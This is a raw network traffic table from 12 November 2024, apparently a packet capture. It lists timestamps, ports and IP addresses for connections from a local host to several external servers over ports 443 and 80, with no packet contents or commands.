Nov 12, 2024 21:21:28.754662037 CET	49750	443	192.168.2.4	142.250.185.206
Nov 12, 2024 21:21:28.754672050 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.763190031 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.763263941 CET	49750	443	192.168.2.4	142.250.185.206
Nov 12, 2024 21:21:28.763271093 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.806729078 CET	49750	443	192.168.2.4	142.250.185.206
Nov 12, 2024 21:21:28.806746006 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.814595938 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.814655066 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.814667940 CET	49750	443	192.168.2.4	142.250.185.206
Nov 12, 2024 21:21:28.814678907 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.814724922 CET	49750	443	192.168.2.4	142.250.185.206
Nov 12, 2024 21:21:28.814728975 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.814794064 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.814837933 CET	49750	443	192.168.2.4	142.250.185.206
Nov 12, 2024 21:21:28.814843893 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.821679115 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.821707964 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.821746111 CET	49750	443	192.168.2.4	142.250.185.206
Nov 12, 2024 21:21:28.821752071 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.821791887 CET	49750	443	192.168.2.4	142.250.185.206
Nov 12, 2024 21:21:28.828836918 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.832262993 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.832294941 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.832317114 CET	49750	443	192.168.2.4	142.250.185.206
Nov 12, 2024 21:21:28.832324028 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.832364082 CET	49750	443	192.168.2.4	142.250.185.206
Nov 12, 2024 21:21:28.839306116 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.841114044 CET	49755	443	192.168.2.4	184.28.90.27
Nov 12, 2024 21:21:28.841159105 CET	443	49755	184.28.90.27	192.168.2.4
Nov 12, 2024 21:21:28.841252089 CET	49755	443	192.168.2.4	184.28.90.27
Nov 12, 2024 21:21:28.842778921 CET	49755	443	192.168.2.4	184.28.90.27
Nov 12, 2024 21:21:28.842796087 CET	443	49755	184.28.90.27	192.168.2.4
Nov 12, 2024 21:21:28.845873117 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.845906973 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.845922947 CET	49750	443	192.168.2.4	142.250.185.206
Nov 12, 2024 21:21:28.845931053 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.845969915 CET	49750	443	192.168.2.4	142.250.185.206
Nov 12, 2024 21:21:28.851730108 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.858213902 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.858254910 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.858277082 CET	49750	443	192.168.2.4	142.250.185.206
Nov 12, 2024 21:21:28.858290911 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.858330011 CET	49750	443	192.168.2.4	142.250.185.206
Nov 12, 2024 21:21:28.864299059 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.870501995 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.870537996 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.870556116 CET	49750	443	192.168.2.4	142.250.185.206
Nov 12, 2024 21:21:28.870563030 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.870594978 CET	49750	443	192.168.2.4	142.250.185.206
Nov 12, 2024 21:21:28.876777887 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.883043051 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.883080959 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.883089066 CET	49750	443	192.168.2.4	142.250.185.206
Nov 12, 2024 21:21:28.883097887 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.883137941 CET	49750	443	192.168.2.4	142.250.185.206
Nov 12, 2024 21:21:28.889519930 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.895600080 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.895633936 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.895646095 CET	49750	443	192.168.2.4	142.250.185.206
Nov 12, 2024 21:21:28.895654917 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.895699024 CET	49750	443	192.168.2.4	142.250.185.206
Nov 12, 2024 21:21:28.901947975 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.909488916 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.909535885 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.909548998 CET	49750	443	192.168.2.4	142.250.185.206
Nov 12, 2024 21:21:28.909555912 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.909599066 CET	49750	443	192.168.2.4	142.250.185.206
Nov 12, 2024 21:21:28.914539099 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.921607018 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.921653986 CET	49750	443	192.168.2.4	142.250.185.206
Nov 12, 2024 21:21:28.921665907 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.931759119 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.931794882 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.931813955 CET	49750	443	192.168.2.4	142.250.185.206
Nov 12, 2024 21:21:28.931823015 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.931862116 CET	49750	443	192.168.2.4	142.250.185.206
Nov 12, 2024 21:21:28.932909966 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.939074993 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.939100027 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.939130068 CET	49750	443	192.168.2.4	142.250.185.206
Nov 12, 2024 21:21:28.939136028 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.939178944 CET	49750	443	192.168.2.4	142.250.185.206
Nov 12, 2024 21:21:28.944775105 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.950167894 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.950201988 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.950216055 CET	49750	443	192.168.2.4	142.250.185.206
Nov 12, 2024 21:21:28.950220108 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.950258017 CET	49750	443	192.168.2.4	142.250.185.206
Nov 12, 2024 21:21:28.955837011 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.962407112 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.962467909 CET	49750	443	192.168.2.4	142.250.185.206
Nov 12, 2024 21:21:28.962472916 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.967083931 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.967112064 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.967139959 CET	49750	443	192.168.2.4	142.250.185.206
Nov 12, 2024 21:21:28.967153072 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:28.967202902 CET	49750	443	192.168.2.4	142.250.185.206
Nov 12, 2024 21:21:28.970222950 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:29.025499105 CET	49750	443	192.168.2.4	142.250.185.206
Nov 12, 2024 21:21:29.025512934 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:29.025779009 CET	49750	443	192.168.2.4	142.250.185.206
Nov 12, 2024 21:21:29.025823116 CET	443	49750	142.250.185.206	192.168.2.4
Nov 12, 2024 21:21:29.025872946 CET	49750	443	192.168.2.4	142.250.185.206
Nov 12, 2024 21:21:29.352252007 CET	443	49753	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:29.352472067 CET	49753	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:29.352488041 CET	443	49753	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:29.353496075 CET	443	49753	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:29.353598118 CET	49753	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:29.353923082 CET	49753	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:29.353992939 CET	443	49753	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:29.401096106 CET	49753	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:29.401110888 CET	443	49753	142.250.185.68	192.168.2.4
Nov 12, 2024 21:21:29.447982073 CET	49753	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:29.455001116 CET	49756	443	192.168.2.4	4.245.163.56
Nov 12, 2024 21:21:29.455033064 CET	443	49756	4.245.163.56	192.168.2.4
Nov 12, 2024 21:21:29.455100060 CET	49756	443	192.168.2.4	4.245.163.56
Nov 12, 2024 21:21:29.456698895 CET	49756	443	192.168.2.4	4.245.163.56
Nov 12, 2024 21:21:29.456712008 CET	443	49756	4.245.163.56	192.168.2.4
Nov 12, 2024 21:21:29.686722994 CET	443	49755	184.28.90.27	192.168.2.4
Nov 12, 2024 21:21:29.686808109 CET	49755	443	192.168.2.4	184.28.90.27
Nov 12, 2024 21:21:29.691726923 CET	49755	443	192.168.2.4	184.28.90.27
Nov 12, 2024 21:21:29.691742897 CET	443	49755	184.28.90.27	192.168.2.4
Nov 12, 2024 21:21:29.692013979 CET	443	49755	184.28.90.27	192.168.2.4
Nov 12, 2024 21:21:29.739402056 CET	49755	443	192.168.2.4	184.28.90.27
Nov 12, 2024 21:21:29.787333965 CET	443	49755	184.28.90.27	192.168.2.4
Nov 12, 2024 21:21:29.952840090 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:29.953111887 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:29.957691908 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:29.957905054 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:29.957969904 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:29.958117008 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:29.958133936 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:29.962881088 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:29.962908983 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:29.981434107 CET	443	49755	184.28.90.27	192.168.2.4
Nov 12, 2024 21:21:29.981518984 CET	443	49755	184.28.90.27	192.168.2.4
Nov 12, 2024 21:21:29.981597900 CET	49755	443	192.168.2.4	184.28.90.27
Nov 12, 2024 21:21:29.981714010 CET	49755	443	192.168.2.4	184.28.90.27
Nov 12, 2024 21:21:29.981714010 CET	49755	443	192.168.2.4	184.28.90.27
Nov 12, 2024 21:21:29.981734037 CET	443	49755	184.28.90.27	192.168.2.4
Nov 12, 2024 21:21:29.981744051 CET	443	49755	184.28.90.27	192.168.2.4
Nov 12, 2024 21:21:30.025124073 CET	49760	443	192.168.2.4	184.28.90.27
Nov 12, 2024 21:21:30.025155067 CET	443	49760	184.28.90.27	192.168.2.4
Nov 12, 2024 21:21:30.025226116 CET	49760	443	192.168.2.4	184.28.90.27
Nov 12, 2024 21:21:30.025481939 CET	49760	443	192.168.2.4	184.28.90.27
Nov 12, 2024 21:21:30.025494099 CET	443	49760	184.28.90.27	192.168.2.4
Nov 12, 2024 21:21:30.523845911 CET	443	49756	4.245.163.56	192.168.2.4
Nov 12, 2024 21:21:30.523942947 CET	49756	443	192.168.2.4	4.245.163.56
Nov 12, 2024 21:21:30.526926994 CET	49756	443	192.168.2.4	4.245.163.56
Nov 12, 2024 21:21:30.526937962 CET	443	49756	4.245.163.56	192.168.2.4
Nov 12, 2024 21:21:30.527329922 CET	443	49756	4.245.163.56	192.168.2.4
Nov 12, 2024 21:21:30.572128057 CET	49756	443	192.168.2.4	4.245.163.56
Nov 12, 2024 21:21:30.624557972 CET	49756	443	192.168.2.4	4.245.163.56
Nov 12, 2024 21:21:30.671338081 CET	443	49756	4.245.163.56	192.168.2.4
Nov 12, 2024 21:21:30.867667913 CET	443	49760	184.28.90.27	192.168.2.4
Nov 12, 2024 21:21:30.867732048 CET	49760	443	192.168.2.4	184.28.90.27
Nov 12, 2024 21:21:30.868923903 CET	49760	443	192.168.2.4	184.28.90.27
Nov 12, 2024 21:21:30.868933916 CET	443	49760	184.28.90.27	192.168.2.4
Nov 12, 2024 21:21:30.869184971 CET	443	49760	184.28.90.27	192.168.2.4
Nov 12, 2024 21:21:30.870250940 CET	49760	443	192.168.2.4	184.28.90.27
Nov 12, 2024 21:21:30.911334038 CET	443	49760	184.28.90.27	192.168.2.4
Nov 12, 2024 21:21:30.977344990 CET	443	49756	4.245.163.56	192.168.2.4
Nov 12, 2024 21:21:30.977365017 CET	443	49756	4.245.163.56	192.168.2.4
Nov 12, 2024 21:21:30.977372885 CET	443	49756	4.245.163.56	192.168.2.4
Nov 12, 2024 21:21:30.977381945 CET	443	49756	4.245.163.56	192.168.2.4
Nov 12, 2024 21:21:30.977404118 CET	443	49756	4.245.163.56	192.168.2.4
Nov 12, 2024 21:21:30.977444887 CET	49756	443	192.168.2.4	4.245.163.56
Nov 12, 2024 21:21:30.977475882 CET	443	49756	4.245.163.56	192.168.2.4
Nov 12, 2024 21:21:30.977492094 CET	49756	443	192.168.2.4	4.245.163.56
Nov 12, 2024 21:21:30.977525949 CET	49756	443	192.168.2.4	4.245.163.56
Nov 12, 2024 21:21:30.978226900 CET	443	49756	4.245.163.56	192.168.2.4
Nov 12, 2024 21:21:30.978311062 CET	49756	443	192.168.2.4	4.245.163.56
Nov 12, 2024 21:21:30.978319883 CET	443	49756	4.245.163.56	192.168.2.4
Nov 12, 2024 21:21:30.989079952 CET	49756	443	192.168.2.4	4.245.163.56
Nov 12, 2024 21:21:30.989094973 CET	443	49756	4.245.163.56	192.168.2.4
Nov 12, 2024 21:21:30.989244938 CET	443	49756	4.245.163.56	192.168.2.4
Nov 12, 2024 21:21:30.989276886 CET	443	49756	4.245.163.56	192.168.2.4
Nov 12, 2024 21:21:30.989285946 CET	49756	443	192.168.2.4	4.245.163.56
Nov 12, 2024 21:21:30.989294052 CET	443	49756	4.245.163.56	192.168.2.4
Nov 12, 2024 21:21:30.989351988 CET	49756	443	192.168.2.4	4.245.163.56
Nov 12, 2024 21:21:31.116446972 CET	443	49760	184.28.90.27	192.168.2.4
Nov 12, 2024 21:21:31.116499901 CET	443	49760	184.28.90.27	192.168.2.4
Nov 12, 2024 21:21:31.116558075 CET	49760	443	192.168.2.4	184.28.90.27
Nov 12, 2024 21:21:31.117331982 CET	49760	443	192.168.2.4	184.28.90.27
Nov 12, 2024 21:21:31.117336988 CET	443	49760	184.28.90.27	192.168.2.4
Nov 12, 2024 21:21:31.117360115 CET	49760	443	192.168.2.4	184.28.90.27
Nov 12, 2024 21:21:31.117367983 CET	443	49760	184.28.90.27	192.168.2.4
Nov 12, 2024 21:21:31.765101910 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:31.765192032 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:31.818602085 CET	49753	443	192.168.2.4	142.250.185.68
Nov 12, 2024 21:21:31.880573988 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:31.880594969 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:31.885534048 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:31.885546923 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:31.885555983 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:32.960109949 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:32.960272074 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:32.960299015 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:32.960344076 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:32.975127935 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:32.980088949 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:33.754823923 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:33.754890919 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:34.062908888 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:34.067909956 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:34.840367079 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:34.840476990 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.053138018 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.058021069 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.335010052 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.335036993 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.335048914 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.335061073 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.335072994 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.335083008 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.335094929 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.335107088 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.335119009 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.335164070 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.335206985 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.336030006 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.336044073 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.336055040 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.336093903 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.336105108 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.494270086 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.494287968 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.494307041 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.494318962 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.494329929 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.494332075 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.494349957 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.494363070 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.494374990 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.494374990 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.494410038 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.495119095 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.495150089 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.495162010 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.495171070 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.495193005 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.495206118 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.495361090 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.495409012 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.495415926 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.495434046 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.495448112 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.495459080 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.495460987 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.495471001 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.495507956 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.496162891 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.496211052 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.496222973 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.496258974 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.496277094 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.496340990 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.496354103 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.496372938 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.496392012 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.497059107 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.497117996 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.497140884 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.497157097 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.497205019 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.497215033 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.497225046 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.497242928 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.497242928 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.497268915 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.654397011 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.654423952 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.654434919 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.654453993 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.654468060 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.654544115 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.654565096 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.654596090 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.654612064 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.654633999 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.654690027 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.654746056 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.654758930 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.654789925 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.654804945 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.654966116 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.654978991 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.654989004 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.655011892 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.655036926 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.655049086 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.655061960 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.655096054 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.655661106 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.655683041 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.655694962 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.655738115 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.655885935 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.655931950 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.655932903 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.655946970 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.655967951 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.655986071 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.656013012 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.656461954 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.656507015 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.656584024 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.656594992 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.656605959 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.656618118 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.656625986 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.656630993 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.656644106 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.656651020 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.656667948 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.656696081 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.657419920 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.657525063 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.657536030 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.657546997 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.657557011 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.657567978 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.657572985 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.657581091 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.657598019 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.657613993 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.658648968 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.658693075 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.658705950 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.658719063 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.658740997 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.658746004 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.658752918 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.658757925 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.658770084 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.658781052 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.658782005 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:35.658791065 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:35.658804893 CET	49759	80	192.168.2.4	185.215.113.206
